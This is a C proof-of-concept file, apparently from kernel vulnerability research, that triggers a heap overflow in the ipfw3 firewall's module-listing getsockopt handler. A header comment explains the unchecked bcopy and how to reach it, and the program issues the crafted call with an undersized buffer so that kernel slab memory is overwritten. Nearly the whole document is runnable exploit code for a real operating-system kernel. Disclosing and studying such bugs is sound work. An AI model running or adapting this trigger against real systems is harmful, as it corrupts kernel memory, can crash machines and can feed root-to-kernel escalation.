/*
 * DF-0477 PoC - ip_fw3_ctl_get_modules bcopy overflow
 *
 * ip_fw3_ctl_get_modules (sys/net/ipfw3/ip_fw3.c:985-987):
 *   bzero(sopt->sopt_val, sopt->sopt_valsize);
 *   bcopy(module_str, sopt->sopt_val, strlen(module_str));   // NO bounds check
 *   sopt->sopt_valsize = strlen(module_str);
 *
 * Reached via getsockopt(IPPROTO_IP, IP_FW_X=49) with embedded
 * ip_fw_x_header{opcode=IP_FW_MODULE=67}; ip_fw3_ctl_x() strips the 4-byte
 * header (sopt_valsize -= 4) then dispatches to get_modules.
 *
 * The kernel kmalloc's sopt_val to the ORIGINAL sopt_valsize.  If the caller
 * passes a small buffer (e.g. 5 = 4 header + 1) and several ipfw3 submodules
 * are loaded (module_str = "basic,layer2,layer4,nat", ~22 bytes), then
 * bcopy writes ~22 bytes into a ~8-byte slab chunk => heap overflow.
 *
 * Root-only (raw socket SYSCAP_NONET_RAW + kldload). Root->kernel gap.
 *
 * Usage: ipfw3_get_modules_overflow <iters> [bufsize=5]
 *   bufsize=256 first to SEE module_str; bufsize=5 to TRIGGER overflow.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

typedef struct { uint16_t opcode; uint16_t pad; } ip_fw_x_header;

#define IP_FW_X       49
#define IP_FW_MODULE  67

int main(int argc, char **argv)
{
	int iters   = argc > 1 ? atoi(argv[1]) : 1;
	int bufsize = argc > 2 ? atoi(argv[2]) : 5;
	if (bufsize < 5) bufsize = 5;            /* need >= 4-byte header + 1 */
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket(SOCK_RAW)"); return 2; }

	for (int i = 0; i < iters; i++) {
		unsigned char buf[512];
		socklen_t len = bufsize;
		memset(buf, 0, sizeof(buf));
		ip_fw_x_header *xh = (ip_fw_x_header *)buf;
		xh->opcode = IP_FW_MODULE;
		xh->pad   = 0;

		int rc = getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len);
		if (i == 0) {
			printf("bufsize=%d iter %d: getsockopt rc=%d returned_len=%d errno=%d (%s)\n",
			    bufsize, i, rc, (int)len, errno, strerror(errno));
			/* returned_len == strlen(module_str) per get_modules.
			 * If returned_len > bufsize-4 (the payload we gave), the kernel
			 * bcopy'd MORE bytes into sopt_val than the payload slot => overflow. */
			int payload = bufsize - 4;
			printf("  payload_slot=%d returned_len=%d %s\n", payload, (int)len,
			    (int)len > payload ? "=> OVERFLOW (bcopy exceeded payload slot)" : "(no overflow)");
			printf("  module_str=\"");
			for (size_t b = 0; b < (size_t)len && b < sizeof(buf); b++)
				putchar(buf[b] ? buf[b] : '.');
			printf("\"\n");
			fflush(stdout);
		}
	}
	printf("DF-0477: %d iterations done, bufsize=%d. Kernel %s.\n",
	    iters, bufsize, "still alive");
	close(s);
	return 0;
}
